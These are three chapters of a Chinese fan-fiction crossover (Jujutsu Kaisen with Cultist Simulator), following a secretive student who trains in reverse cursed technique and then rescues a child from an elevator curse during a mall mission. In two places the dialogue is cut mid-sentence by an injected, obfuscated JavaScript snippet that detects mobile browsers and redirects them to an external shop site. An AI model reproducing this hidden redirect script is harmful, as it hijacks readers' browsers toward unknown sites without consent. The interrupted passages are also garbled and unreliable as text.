《[咒回+密教]已经飞升的你在下一世纪接盘盘星教》 7. 第 7 章 高专的一年级松弛感较强,但你已经有点喜欢出任务了。 你和七海的关系变得微妙。 “如果你努力的话我们也会不得不努力。” 他在板着脸表达自己的不满,但由于情景是饭桌上……他特地挑了一个不聊正事的地方,主观上就削弱了气势,你没当回事。 “如果你真的不想努力,那么无论别人怎么样都不会改变你的。怎么说来着,心静自然凉,差不多就是这个意思。” “……” “我还挺喜欢袚除咒灵的,无论是它们的长相还是存在本身,消灭了一个就会让我产生【原来我在做好事】的想法。坦白说这样的感觉还挺让人高兴的,你不觉得吗?”七海啊,是个好人,相处一段时间你发现,灰原这点说的一点不错。至少他不会讨厌帮助他人,也不会觉得咒灵的诞生是源于人类本身的罪愆,所以被杀死的人罪有应得。 “客观来说,我们帮不到谁。3级4级从不致命,丢下不管也不会出问题的。” 你的引导能力今天也如期发挥效用,你放下筷子:“你瞧,所以我们最后都会变强的。也会有能够左右民众性命的那个和时刻,不过在那之前……” 七海被你套进去,他更不开心了。 他或许本来想说的论点是,如果你接取任务的意愿比较强烈,同期又同级的他们可能也会承担起较原来更多的任务,只因为总监部想让学生多承担一些,就像第一个加班的背叛者出现的办公室。但还是你的话术更胜一筹。 你真坏。 一个面包可以打消他半天的不愉快,你送他两个。 “向你赔罪。”但是下次继续。 “七海,铃木说得对。”灰原嘴巴里如果没塞面包,也许更有说服力。 七海建人接下了你的面包。 某日课后,你在教室里和两位同期闲聊他们接下里的打算,就在此时,已经离开教室的老师又折返回来,嘱咐你:“铃木,你,和我来一下。” 你与两位同学打过招呼跟上,直到你们快要一路走到医疗室,他才开口:“你就不能问一下什么事吗?” 你幽幽问道:“我不问您就不说了嘛?” “……”从夜蛾老师难以窥探情绪的墨镜中你竟然似乎看见了他的想法,你热爱祓除咒灵的敬业精神令师长省心,但是你本人捉摸不定的态度弥补了这一点。“这里是医疗室。” “啊,我知道,灰原介绍过。”你说完这一句又不吭声。 “一般来说,教学任务会全部由教师承担,除此之外就是实战。从这段时间的任务情况以及辅助监督的反馈看来,你对咒力操控有一定天赋。”他拉开了房间的门,你也因此看见了正坐在病床边上无聊摆弄手术刀的前辈,你还抽空和家入前辈问了个好。 夜蛾老师见多识广,不计较你的目中无人:“……算了。反转术式是其中的例外,包括我在内的大部分咒术师即使能理解,也做不到操纵实施,因此由高年级生的直接教导,你们算是特殊的。以后每周的两个下午,你就和硝子进行学习。这件事情我已经和她说明。” “我有一个问题,”你说:“这事你们给家入前辈开工资吗?” “哈哈哈哈哈哈哈,我是不会介意出场费的。” 你的老师为人沉稳正直,不过进入高专的过程本身就包含一系列类似合约的约定俗成,很遗憾,你听说并没有这类经费。 老师离去的背影并没在你视线中停留很久,很快,一只手揽上了你的肩头:“不介意我抽一支吧?” 你们的学习过程非常……野性。 “咻咻,嗖嗖嗖地一下,是不是就这样就好了?” 你说:“咿呀哈。” 很快进入了冷场。 “下次有伤员的时候看看你的实力吧,今天……”没有培训上岗的前辈很快遇见了教学瓶颈,而你立刻就领会了她的意思。 你接上:“我请前辈喝茶。” 很遗憾,她不如你自由:“这就不方便了,随便离开高专,会给辅助监督们带来困扰的。” “怎么说?” “我没什么战斗能力,一般会在五条和夏油外出的时候随行。好不容易遇到一个掌握反转术式的学生,总监部应该挺重视我,老师也很关心。现在,又多了一个你。”看起来她对外头的世界向往不多,“不过别担忧,现在看来你应该比我全能,你依旧能接到祓除的任务对吧?” “有规定说您不能出去吗?” “嗯……”她回味一番,然后回答:“没有,但是隐晦的关心,还有不敢交付重任的迟疑,隐隐约约都能感觉到。而且,你应该已经知道了吧,我那两个同期,都是特级。我是易碎品。” “彩云易散琉璃脆。”事实上,你认为并非仅仅如此,所以你随便引了一句不知哪里听来的古诗,接着却说:“只要能忍,以后就会有忍不完的事情。” “还没问,你选了什么名字?” “铃木星夏。” “呀,还真是那个名字。”她有些惊讶:“不过既然这样,我这个做前辈的无论如何都应该给你点什么。考虑到我毕竟是钢化玻璃,偶尔不那么懂事也可以,我请你去市区逛街,怎么样?”(在日本,玻璃被称为硝子。以前是仿制玉的意思,人造水晶。) 你收获了前辈的好感。 “反正你不是真的姓铃木,我就叫你星夏,好不好?你可以叫我硝子前辈。” “好哦,硝子前辈。”你很喜欢她的泪痣,还有因为下垂而显得忧郁的眉毛。 你没有很多想要和人分享的趣事,大部分时候仅仅只是点头应和前辈的闲聊,而她也没有那么多可以提起的话题。她问出的问题,有一部分你都以“忘记了”作答。 “那你是怎么生活的?他们没和我说过这些。” 你手里拿了一件衣服:“用不太光彩的手段,不过警察不会来抓我的,不至于到那种程度。”确实不会有人抓你,他们的调查,即便存在,也不到那种程度。语言的错位能带来一些美妙的误解。 “呜哇,这是可以说的吗?” “这都是可以想见的事实。毕竟我这样年纪的……总之能来上学也是好消息。” “现在钱还够花吗?” 你将衣架挂在胸前比划:“上学之前最后干了一票大的,经过两轮预演,我……小有成果。没有任何人因此受到伤害。算起来我做了三件好人好事呢,不过具体的,就要对硝子前辈保密啦~”你对着全身镜冲她wink。 好心的前辈给你买了两件衣服。“我以前从不在别人身上花钱的。” “我的荣幸。” 今天一天的时间毫无波澜地过去,她在分别时和你约好了下一次的教习。“不过,你还真是和他们说的不一样。” “哦?其他两位前辈是怎么说起我的?”你依稀想起,似乎对夏油杰,你做出过无异于调戏的冒犯举动,哦,想起来了。他跑得很快。 至于五条悟,他挺有个性的,怕是不喜欢你,恐怕也会很快丢之脑后。不过也不怪他,你呈现出来的样子一点也不值得强者注意。 “五条说你很怪,夏油不肯说。但他们都认为你有点可怜。” “哈哈哈,怎么不算呢?”你拎着袋子和她告别,最后总算是脱去反人类的外衣,说了句良心话:“期待和前辈的下次见面,那两位前辈也都是很好的人,或许仅仅没有眼缘。我其实,不算很可怜,相反,运气不错。下次我请你吃饭。” “对了,要不要交换一下联系方式,我是说手机。” “唔,我没有手机,之前没有联系别人的需求。” “……” 几天前,灰原看你也是这个表情。你也许是有些老古董,跟不上时下潮流了?好像……即便是你一段时间的同事,穿着超短裤,口袋是装饰用无法容纳东西的,他们的手里常常也能看见手机。 身处社会潮流中,适当追求一下大家共同的趋向,也不错。 你在第二天就和灰原说明了期望求购手机的需求。 “推荐你买我这款,可以听音乐发信息和拍照,而且里面有贪吃蛇!” “那是手机基础的功能。贪吃蛇不是。”七海拦下灰原的安利,对你说:“推荐你买续航能力强一点的,不用总是充电。” “对哦,保持电量充足也是必要的!” 就这样吧,你提议等到下次去市区任务的时候正好购买了,然后你也可以用手机联系他们了。 “真是神奇,只要拨打电话对方在日本的任何地方都能接到。我记得以前人们还是用旋转电话发射脉冲信号,需要好些繁琐步骤呢。”你说的是20世纪的事情,那个时候人们如果想要在外联系接线员,不仅需要携带电话盒子,还要把电话线手动连在金属上,对了,他们还要打一把金属的伞,转换电信号。 灰原问的真诚:“……呃,现在是无线电通信时代了。虽然二进制的0和1还是很难理解,但我们可以用手机通话。铃木,你怎么会不知道这些呢?” “好问题。”1920的伦敦与你而言仿佛昨日,虽然这迫近的往昔你也记得不太清楚了。“也许我之前是有点魂不守舍,再说也没人特意教我这些。靠你了,灰原。”你知道这么说一定会让你单纯的同期激动又快乐。 果然,他热血沸腾:“放心,你一定会买到最好的手机!” “果然活的像灰原一样会更快乐,你说是吧,七海。” “没错,不过这不是什么坏事。” “这算是对我的夸奖吧,是吗?” 你对他点点头。是吗?算是吧,如是。 “铃木……你在敷衍我对吧?” “真是个傻孩子。”和年轻人在一起,你感觉自己也沾染上了不同的习惯,你把手掌按在头顶,这样傻气的动作你以前几乎不做:“好啦,中午请你吃饭,如果下午没有通知的话,晚上也请你吃饭。盖饭炒饭汤饭都可以。” “狡猾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664965|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铃木你下午又要撬训练吗?我们的体术怎么办!” “下次一定。高二是高中最关键的一年,明年再努力。”反正等到明年就说其实高三最重要就行了。 七海:“然后等到再后一年就可以宣称已经错过了最佳年龄之类的,你是这样想的吗?” “七海,你直说想要什么吧。” “西班牙蒜蓉虾。” 你嘀咕一句:“金毛不如黑毛好养活”不是很艰难地做出了决定,“我们再假装读会书就离开这个地方。” “我发现你并不热衷于学习。” “赞美你的敏锐,七海,我只对袚除咒灵那部分工作比较感兴趣。” 课业从不是他的苦手项,对比另一位同期一边挠头一边和文化课搏斗,他此刻悠闲多了:“为什么?” 你的理论知识又如一团浆糊,但你志不在缕清这乱线。显然,你宁愿和人聊天消磨时光,你说:“锄强扶弱,除暴安良。” “……” 本该给你回应的七海沉默了,窗外传来嗤笑声,自从接触到咒术以来,你随实践能更加清晰的感应到凝聚咒力的地方,这团来自于你入学的最大赞助人,五条悟。 五条家是个大地方,你一开始以为他们家只有十几口人,四世同堂差不多得了,后来听说是什么御三家之一,他又在领悟反转术式和术式顺转逆转结合后直接晋升家主,你想,应该挺了不起的。 反正每个时代都会有它的天之骄子,他们各有各的脾气,这个不是你见过最差的。 “五条前辈好。”给好心人打个招呼,不过分。 刚学进状态的灰原听你打招呼立刻放下书本,热情满满和前辈问好,比你大声。然后他探头探脑:“夏油前辈来了吗?” “在后头呢,硝子也来了,说是要看看可爱的学妹。”他抬下墨镜:“事先说好我可没觉得铃木很可爱,只有硝子。” 这种事情无关紧要,你对可爱到谁也没兴趣,你耸耸肩。让七海感到不自在的任务暂时中止,你翻开了眼前的书。五条悟的出现和夜蛾老师差不太多,就算是故作姿态,你也摆出了没在开小差的架势。 等加入硝子和她的另一位同期抵达时,你才从这一页没看两行的书上离开视线:“硝子前辈好,夏油前辈好。” “好没精神,有什么心事吗?” 你合上书页:“只是看书看的。” “欸,我以为是被五条冒犯到了。”她见人多,捏灭了手里的烟。 “没有的事情,前辈出类拔萃,自然骄傲些,我就听听不碍事。” 五条悟对你说:“不管你是被谁上了身,千万别让它下去。” 夏油杰的目光从到教室外起,一点也没有沾到你身上。 你问起要紧事:“前辈们来的时候看见夜蛾老师了吗?” “他往校门方向走了。” 事不宜迟,你的最后伪装可以完全撕破了,放下书本,时刻准备出发,只等灰原也准备好。 七海看上去没什么兴致和前辈社交。 硝子看着你:“还真是装都不多装一下。” “此地不宜久留。” 倒是五条悟出言又嘲笑你:“以你这学习状态,以后怎么锄强扶弱,除暴安良?”像是你在说什么笑话。 他不知道,那本来就是一句笑话。 唉,被这么多人误会就尴尬了,你略加权衡,说出实情:“我只是想让七海尴尬才说的,毕竟……他可是个好人啊。” 碰,你后退一步,看拳头落在桌面上。举起双手:“我投降。” 见识多【堕落】时期的你的两人都看得出来,这段时间让你比以前更开朗些了,只不过,似乎点歪了技能树。 七海似乎还是很不高兴,你想了想,说:“其实我是一个冷酷无情的邪恶人士,追奉不可探知、不可亵渎、不可触及的隐世诸神,杀戮给我带来至高的喜悦与难以企及的欢腾。于我而言,人类的性命和咒灵的性命不过是天平两端等价砝码,它们的重量都不超过一根羽毛。偏向出任务,仅仅因为袚除咒灵简单而不会留下任何隐患而已。” “……” “……” “……” “……” 灰原:“铃木你在说什么啊?” 你问:“不好笑吗?”其中真话含量≥50%啊,比超市里贩售的果汁真多了! 最后还是五条悟率先摆出一副受不了了的样子,劝告自己的金发后辈:“她根本不知道自己在说什么,要不然你就省点力气谅解她吧?” 今天的午餐由你请吃大米饭改成前辈们带后辈去便利店觅食,消费降级,但好消息是,你不必花钱了。只不过离开的时候,你想到夏天炎热,或许可以给硝子买一根冰棒,但是既然如此,作为担保你上学的五条悟或许也应该买一根;然而如此一来,夏油杰也许也可以待上;最后,如果连夏油杰都顺便送了,你的两位同期…… 你请大家吃了冰棒。 8. 第 8 章 灰原以为你和前辈们莫名的就很熟悉,他完全误会了。 你随口举了个例子说明:“只是类似于武斗中的见招拆招而已,就像你我对练的时候,只要你不害怕被打到,还是能做出很不错的进攻的嘛。” “虽然他对前辈有不切实际的敬重,但你别误导灰原,铃木。” “我这是向他宣传要不惧怕失败的勇于追击。” “……你什么时候去找家入前辈练习反转术式?” 七海在便利店之行后也逐渐改变了直来直去的策略,他变得迂回,至少,对你如此。你说:“现在。” 你以为今天也是一个你好我好大家好的愉快摸鱼下午,为此还特地给新买的手机充满了电,上次出任务的时候和七海一起看的--灰原完全被导购牵着鼻子走了,所以你主要参考七海的意见。令你没有想到的是,在路上,硝子给你发来信息,请你直接去校门集合,有个救援任务让你随行。 任务的话……也不是不可以。 你折返道路,往另一头走去,然而,在路的尽头,你看见了三个人。 “前辈们好。”你想到了硝子之前和你说过的,她一般和比较强的两个同期同行。唔,你也没预期传说中的“看看那你的实力”要和他们两个一起。 不过无所谓了 ,你已经波澜不惊的打了招呼,他们对你这个不热情又不完全冷淡的态度见怪不怪。 “所以,怎么坐?”你们的第一个困难来自于分配小车座位,硝子竖起手指:“我要和星夏坐一起。” “所以,如果你不拉上她,你就可以一个人坐副驾驶,后面归我和杰了。” “今天是约好的反转术式教习日,你找夜蛾老师说去。” “好了好了,你们两个,我坐副驾驶。还有平民在楼里等待救援。”夏油杰制止了一场问题不大的口角,他还挂心可能遭到迫害的人。 你坐在了两位前辈中间。 辅助监督开车时一心二用已是常态,相较你们日常打交道的人员,他们比起案件情况,更着重强调了流程规章的重要性。 “务必要施放帐后再行动,我会跟着各位进去,从始到终。” 嗯对,不拘小节也是强者特点,你也不是头一次遇到这种情形,见怪不怪。 “星夏,到时候你和我跟在辅助监督后面,他们两个会把伤员带回来的。”硝子在玩你的头发,她慵懒的语调把辅助监督的絮絮叨叨隔绝一边:“晚点想吃什么?” 你在玩自己的指甲,你上了网,发现时下在年轻女性之间非常流行美甲,你觉得你也不是不可以做一个:“甜食吧,七海和灰原吃的少,最近咸量超标。而且,东京的甜点还挺好吃的诶,我们今天是去东京吗?” “是,不过你说话怎么那么奇怪呢,你以前在哪?” 你没忘,所以回答:“伦敦,难吃。” “哇,外国。”停了一会以后,你感觉到你头发上的拉扯力度都消失了,她问:“真的?” 现在车子里的四个人注意力都在你身上了,你想了一下,似乎没什么风险,何不坦诚,点头:“嗯,在伦敦停留过一些时间。” “你在那里做什么?” “大部分事情都不记得了。不过……”懂得说话技巧的人都知道,转折后面才是重点内容,你说:“记得的事情里,有一部分不太美好。幸好我信仰的不是上帝,不然很难和他交代,以后大约上不了天堂的那种。” 甚至连你自己也知道,有所察觉,你在这句话出口的时候,展露笑颜。 她挥手在你眼前晃了晃:“姑且问一句,你还好吗?” “挺不错的,不用担心我,前辈。” 坐在另一边的五条悟冷不丁开口问你:“那你信仰谁?说是【信仰的不是上帝】,照理说是另有其人,不然你就可以直接说【不信仰上帝】了。” 这是个好问题,甚至涉及到你飞升的秘密。你不对某个特定的司辰虔诚,按理说也轮不到你这个海王,可你偏偏争气,辉光透过三尖之门选中了你。 你低下头轻声告诉他们:“我信仰辉光,以逃离死亡。”死亡是朝下的,而你注定要奔赴太阳,如同火花追逐伟力向上。 看起来唯唯诺诺的就说出了谁也听不懂的话,车里紧张的气氛要凝结成水珠。 五条悟咂了一下嘴,回应你:“所以说白了你只是怕死对吧?” 你面无表情:“曲解地有点过分了。我以前……算了,忘得差不多了。” “别担心,我们可是最强,你在高专不会有事。” 虽然事实确实是你会安然无恙一段时间,然而这也绝对不是拜听都没听说过的最强所赐:“被这样一说更吓人了,不过谢谢你低情商的安慰。” “什么叫低情商的安慰啊你这个小鬼!” 你还很认真的回答了:“类似于一种大战之前必有温情和补给的传统意识……吧。总感觉很快就要发生不幸的事情了。” 他哼一声:“你不要看了两集电视就质疑身经百战的特级咒术师。” 你经历过的可多半比他多不少,不过好汉不提当年勇,你沉默。 一路上没有人再开启一段新的闲聊。 下车时,你看见坐你旁边的前辈一下窜出车门,迅速和坐在副驾驶上的夏油杰并排行走,听力绝佳的你还能听见他小声对兴致不高的同学说着什么:“你别听那个小丫头乱讲话,她只是个什么都不知道的乌鸦嘴。” “搜索和战斗的事情交给他们就好,我们在这边坐着,等伤员。”硝子单腿横放在走廊的石凳上,熟练地从口袋里拿出一根棒棒糖,她见你也在看她的手,便招呼你:“你也来一根。今天的烟量到位了,但我嘴里习惯塞点东西。” 你接受了一个青苹果味的糖果。 过了一会,你若无其事地问她:“关于刚才我在车上说的话,有什么值得注意的地方吗?”似乎引起了不必要的反响。 家入硝子的眼睛在阳光下颜色更浅,她眯着看你:“那个啊,之前有个任务失败了,本来所有人都预期会成功的,有个女孩因此死亡了。天元大人指明他们两个特级执行,我没跟着,不过。” 她停顿了一下,才接着说:“事关咒术界的未来云云,高层和老师都很重视。不过夏油应该是想到了那个保护失败的对象,有人死在面前的感觉并不好受。” “唔,这是前辈你也经历过的事情吗?”非常精准的共情到了重要事项上呢,你想到,她又恰好是医生,难保真会有这种无能为力的伤痛。 家入硝子牵拉纸棒的时候糖和嘴唇之间发出清脆的“啵”一声,她也变得更庄重了,对你说:“我们早晚会遇见的,就算现在没有,在未来的某一天也必然发生。现在对你说这些大概有些早,不过关于这种事情的心理准备……早点认识到生命的脆弱也是对治疗者自己的保护。” 你哦了一声,以前有好多人死在你面前呢,她的好心建议你心领了。 “至于夏油,”没过一会她又说到,“在那件事情之前他应该从没想过。你如果以后和他们聊天,最好别提这些。” “嗯嗯,多谢提醒。春风得意的阶段骤然遭遇难以承受的变故,确实是一种打击,我能理解。” “这也是你从电视里看过来的?”她又回到悠闲的调侃状态,与你闲谈。 你说:“算是吧,基督山伯爵。如果什么都一帆风顺,作者无从下笔,读者也会无趣的。”随便闲扯了一本书名,是喜闻乐见的复仇故事。幸福被摧毁的一刻有多痛苦,心中仇恨的火焰就有多旺盛,读者都会被激动人心的情节和昂扬的情绪调动起来的。 “你还真是……星夏,不过咒术师都会有点不正常,你让我想到冥小姐,只是你不像她一样爱钱。”硝子又补充了半句:“别担心,这是在夸你,大部分是的。” 冥小姐?你见过一次的那个银发女人,你没觉得和她有什么相似之处,不过硝子都说是夸奖了,你也就点点头应是。即使你本人并不在意。 又过了一会,她还是很好心的给自己的论点作结,保持有始有终,这也是她作为前辈的态度:“你看起来没有很感情用事……不过还是要提醒你,工作的时候要让理性占上风,你--不然你也会像夏油现在一样不好受的。” 你对她打了个哈哈:“如果有些结局早知如此,那么大多数人一定会感到悔恨,然而在不明白未来的当下,他们都只会觉得无比快乐。” “你啊你,”她看向你的眉眼里有无奈和温柔,落在后面的小声呢喃也没逃过你的耳朵:“好吧,现在我也不确定你是不是那么情绪化了。” 一段时间过后,就在你的前辈又想起一桩治疗师提升准则,并和你分享的时候,帐的外面传来了阵阵嘈杂声。 “非咒术师的医学生念的书,你也可以同步学习起来了,书单我过几天发给你。外面吗?你注意别不小心窜出去到众目睽睽之下就好,外面的人看不见帐里面。应该是失踪人员的家长,商场先前疏散的时候遗漏了一部分人。我记得,好像还有孩子。” 这里坐落于城市中间的繁华街道,即使是现在,你们坐车前来的时候也在路中间因为交通稍微耽误了一会。 你问:“封闭这里的理由是?” “气体泄漏和起火。” 帐里没信号,你很无聊,于是又向封锁的警戒线那边走了几步,停在结界的最边缘,看辅助监督安抚市民情绪。 潸然泪下的应该是母亲,她说自己只是一刻没看着小孩,后来就再也没见到。 距离通报的事发时间已经过去了半天。 “你很关心她们?” “没有,只是看看。” “一级,说不定一切都还来得及。这位母亲看起来追悔万分,希望孩子平安吧。” 你从前辈的语调中听出了不易察觉的疲惫,想必这也是医师经常遇到的事例,她已经不会因为悲戚的哭喊就具备十分同理心了。 你也不会,只不过你以前通常也不担任医生这一定位。 两位特级很快归来,身后还跟了几个零零散散的人,已经失去意识或者不能行动的也都被妥善携带。 五条悟动作不重,可抛下人的姿态仍然像扔麻袋:“这次人也太多了。” “毕竟是人流不小的闹市区商场。” 家入硝子招呼你一起去看情况,你就跟在她后面,算是见习。 她在治疗时也没耽误询问:“你们有看到一个小女孩吗?听母亲说只有小二那么大。” “啊,就是外面那个吵吵嚷嚷的人对吧。很遗憾,没有。剩下的事情可以都交给辅助监督,我们就从后门离开。我可不爱和不明状态又情绪不稳定的人解释情况。” 夏油杰:“悟,这样说也太缺乏关怀了。” 而你沉默地看正在教学演示的家入硝子,她的手心覆盖上沾染咒灵污染和伤害的创面:“别紧张,我见过更严重的伤口,你会没事的。” “啊啊啊啊啊!” “五条,帮我把他打晕。” “乐意效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664966|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劳。” “……” 治疗的部分十分短暂,你所见只有接触、愈合两个部分,但医患沟通这部分你挺喜欢的。 你接着看第二例。 “你能自主保持安静和静止吗?我们也可以帮你。” “能--能的。” “OK。” 比起一分钟内的上一次,这一次你只多注意到硝子吁了一口气,想来那也不是什么必要步骤。 完全没看明白呢。 自一段时间前的夜跑之后,夏油杰第一次对你说话了,他是二年级中唯一一个稍微分了点注意给你的人,他提醒:“把咒力凝聚到眼睛,就可以看到大致的流向。仅凭肉眼是很难观察的。” “喔,谢谢。”你照做。 你看见黑夜中萤火一样的咒力从咒术师的手中填满伤口的窟窿,就像泉水从山石间流淌到泥土自然形成的小洼。他愈合了,伤口上只残留一抹曾经存在于此世的咒灵残渣。 这就是反转术式啊,也无怪被咒术界认为是一种珍贵的能力。 十几米外的公共场合,又传来哀绝的哭泣声。 还有回以她的准备齐全的话术:“女士,我们的救援人员身穿特制防护设备,泄露气体不明,目前尚不能保证场所安全性,您不能进去。” 处理完最后一个伤员,你卓有成效的前辈拿出手机,在上面熟练按下预发的信息,似乎是想到不在信号区内,才若无其事地收回去:“尸体呢,有见到吗?小孩子比较容易辨认。” 有良知的人说不出冷场话,夏油杰给了家入硝子第二个否定回答:“也没有。” 富丽的大堂里专柜都空无一人,只有彩妆和首饰大屏海报上的男女明星互相对望,空洞眼神里诉说欢迎惠顾的彷徨。你站在扶梯旁边一块较大空地的电子地图前,聒噪的灯光在地上投射出你的五个影子,你看到了属于二楼安全通道的那块地方。 “你在看什么呢,准备走了,后门在那个方向。”三人整装待发,与在门口“等待救援”的倒地群众对比分明。 你只稍微分神了几分钟,他们怎么…… 夏油杰对你解释:“他们需要在担架上被抬出去,到了医院辅助监督会向他们解释,事关咒术界的保密,现在……只是昏迷,并无大碍。” 看得出来这里也有一套属于自己的作业流程。“我懂,公众也享有无知的权利。” “……谁教你说话的?”非常优雅的语言,使你的五条前辈匪夷所思。 你回答:“电视上学的。对了,我觉得这个地方好像有人。” 你对着导览屏幕轻点一下,图上写着那里是三楼位于两家服装店夹角的安全通道小门。 “开什么玩笑,有咒力的地方都被我们看过一圈了,你以为之前我和杰进来是做什么的。” 可你也动用了一些和物质世界相比更超越的手段,才得出结论,去看一眼又不吃亏,你在时间上富有得很:“万一你们看错了呢?” “……”五条悟脸色凝重,很快他就不耐烦了:“我懒得说,杰,你和她说,看起来你们交流挺愉快。” 夏油杰的回应相当谨慎:“--那倒也没有。不过,铃木同学,我们不会看错的。” 他说的对,但你吃过的饭比……你并未让气氛僵持下来,顺从地接话,也不问为什么:“那不好意思,我想去一趟厕所。” 看起来就像是之前你想自己找理由把他们支走,然后再去解决生理问题。 “……” “……啧,真麻烦,你快点,不然我们可不会等你。” 你暂时离队,出于礼貌,你还和他们道别,虽然那看上去像是一个不逊的后辈自说自话:“我大概十分钟回来。” “刚才有一下子气氛突然紧张起来了,不过星夏一句话又扭转回正常,她还……挺厉害。” “硝子,你认真的吗?” “至少我比你们两个都更会读空气。啊,算了,夏油有的时候比不过,但是你,完全是被我ko的级别。” “老子不需要读空气。也不喜欢带小孩。严谨来说,是讨厌。” “喏,送一颗糖。”家入硝子从她无敌的口袋里又翻找出一粒甜甜的好东西,“最近一直都开反转术式,不会烧坏脑子吗?平时要多注意补充能量,别在出任务的时候急着--” “和这没关系,我不喜欢带个拖累。”说是这么说,他接过了糖,“我一开始就不喜欢她。” “这样么,我以为要不是急需补充被六眼和术式急速消耗的能量,你可以表现得更耐心的。” “呕,不说这个了。”他摆出一个打住的手势,“到底什么人上个厕所要用10分钟啊。” “悟,就算是在背后也不必对这种事评头论足。太--” “要说失礼明显是这个家伙更失礼!你们的眼睛不会好好看嘛?” “不分场合的阴湿气息还有她说的话让我觉得很安心,夏油大概是把她当成保护的对象之一了……怎么了,你们这副表情……不像是被我的话语震惊到的样子啊。” 在家入硝子的眼中,她见到两位同期在她的话说到一半时同步露出了堪称震惊的表情,并且不约而同地回头向楼上看去。 她又问一遍:“怎么了?” “看起来--” “呀,还真被那小丫头说中了。” 楼上突如其来的咒力不算强大,不过…… “好不爽,我上去看看。哟,杰,你和硝子在这里等我。” 9. 第 9 章 你跟记忆里的方向走,就像忒休斯沿线寻找迷宫出口,跨过两层阶梯,来到一间出于省电需求没有开灯的暗室。 站定在电梯门前,你闭上眼,挥之不散的阴郁气息正在眼前。睁眼,你按下闪红光的下键。 几乎是同一时刻,叮的一声之后,老旧的内门牵拉外门,闪烁着令人不安的灯光的电梯门徐徐打开,你可以在电梯箱朝外的镜子里清晰的看到自己无表情的脸。 垃圾和呕吐物的味道迫不及待钻出了密闭空间袭击你,而你迎着他们踏入其中,也许正如同进入猪笼草的昆虫。 你站在其中,任由钢铁的箱门以缓慢又不容置疑的庄严速度合上,显示屏上窜出1-99随机跳跃的高频数字。 按下楼层也不会管用的,你初步猜测,这一个四四方方像棺材但少有人这么譬喻的铁箱子就是咒灵。不过那也不对,因为无论是生还是死,你没在这点范围内感知到人类。 闭上眼睛,晃动的灯光和不规律也不准确的电梯楼层都无法干扰到你,隐藏在你躯壳之下的灵魂舒展,蜘蛛结网一样扩散,将意识延伸到以你为中心的更远距离。 首先,你看到了一双无可置疑不容忽视的亮蓝色眼睛,它的主人有白色的头发。正在双手插裤兜走楼梯。 你不喜欢白色,白色的头发让你想到白发花花,里面有你一些曾经将死的回忆,虽然你已经像鹿跨越山涧那样灵巧地越过了。不过它们仍然存在,于你灵魂的褶皱中。 当然,如果五条悟是天生的白发,那也无可指摘,这又不是谁能自己决定的。 而且他是个意外很有灵感的少年。 在你看到他的时候,他似乎也看到你了,只不过趁他还在空中试图捕捉的时候,你把注意力集中在了电梯井底端的另一个人。 小朋友,女孩,有呼吸。 你以前出任务都是跟着辅助监督指导,除了最后的验收时刻,其余几乎是同伴做什么你做什么,不过你仍然知道,更凶残的咒灵,一级或者准一级以上,它们的猎物不会在手上活那么久。 咒灵的天性就是伤害人类。基本一课,你有好好听夜蛾老师说话。 所以最多是二级,按照同等级的咒术师有能力袚除同等级的咒灵这一评判标准,你作为新入学的一年生,即便在这里处置了它也并不会引起轰动。 散落民间的沧海遗珠小天才是常有的,因为咒术界的人才引进机制实在是比较一般。 “唔,如果时间充足的话你能去到一个更好的地方。如果垃圾有意识的话,它也会为垃圾分类而流下感动的泪水吧。”整个电梯井都是这个咒灵的容身之所,而不仅仅是这口小小铁棺。今天出行仓促,加上本也不是出任务,你没从武器库里借任何武具,不过幸好,你会随身携带伴随你许久的那把钝刀。 于胸前的衣领里抽出它,反握在右手上:“是朝门挥刀,还是向下?” 你最后选择了一条往下的路,带你去往生命力流失的儿童身旁。 手机电筒在黑暗的环境里发挥了很大的用处,你拽起小女孩的衣领,不费力地将她拎在手上,散发焦油和铁锈味道的爬梯正好方便你借力。 你在四面墙壁直接蹬腿跳跃,女孩像风筝乱晃,但从不离开掌控的手掌。你希望找到一扇一撬就开的门,以利剑开启牡蛎之势离开这个地方,总待在其他生物的肚子里实在是太暧昧了。 然而即使是二级的次等品也有倔强,你听见轰隆隆的摩擦声,再然后是铁线的火花滋滋声,被你捅穿过一次的电梯箱正在卷土重来,不难想它在试图把你变成一块地垫。 你想,好吧,反正在名声方面你已经过了洁身自好的阶段,看起来暧昧一点也没关系。于是在转换角度的时候顺便翻转一下手中的刀。 “人果然都是会变的,在很久以前……我还觉得这种在外面拼杀的脏活累活从不属于我。真是造化无常,丰俭由人呐。” 剑不杀人人杀人,钝刀在你手中,即使不使用它在漫宿中附着的力量,也能发挥足够的力量。至少,对付它是够的。 趋利避害的本性在咒灵身上体现不够多,不过那也不是生物学家的错,他们又不知道世界上还有如此愚笨丑陋的生物。在咒力短兵相接的一刹那,你心中隐约有一种感受,驱动你使用特定的方式向短刀输入咒力,电流一样的信号穿越你的大脑,操控着手臂、手掌、手指共同完成这一场舞蹈。 挥刀的时候并没有任何阻碍与迟滞,不像粉笔划过黑板,更像是截断水流那样,你【轻轻松松】击穿了本该千钧重的铁箱。 好消息是这个。 坏消息是,你有点用力过猛,似乎。 还有一个好消息,一场小型的爆炸成功炸开了你想撬开的电梯外门,从你行动的感官来看,这里正是你进入的三楼。 所以最后一次在墙上的借力你几乎垂直于它,灵活的一跃后,你探出电梯箱,水灵灵地对上了站在门口的前辈的蓝色眼睛。 